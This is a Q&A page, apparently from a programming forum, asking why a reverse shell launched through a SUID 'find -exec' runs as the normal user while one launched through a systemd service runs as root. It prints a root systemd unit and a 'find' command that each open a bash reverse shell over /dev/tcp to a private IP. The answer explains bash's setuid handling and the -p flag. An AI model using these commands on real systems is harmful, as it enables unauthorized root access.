Search code examples
linuxunixfindsystemctlsuid

SUID find -exec TCP connection not being root


Let's say /usr/bin/systemctl and /usr/bin/find have 4755 (SUID) permissions and there is a service root.service which executes an interactive shell over a tcp connection:

[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target

If root.service is executed (as a service) as a non-root user, the user of the interactive shell created will be root.

But if the command executed is (also as a non-root user):

find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;

The user of the interactive shell created will be the same non-root user that executed the command.

On the other hand, if I execute as non-root user:

find . -exec whoami \;

It will return root.

In both cases I assume there is a TCP connection listening on the IP and port specified.

There is something about find -exec functioning I'm missing.

¿Why is this difference?


Solution

  • That probably happens because Bash doesn't like being setuid:

    Invoked with unequal effective and real UID/GIDs
    If Bash is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, [etc.] and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

    Having effective UID != real UID is exactly what a setuid process sees, and there's really no reason to assume find would change that, so both UIDs get inherited to Bash, which then drops the UID gained through setuid.

    You could probably also compare

    find . -exec whoami \;
    

    with

    find . -exec bash -c whoami \;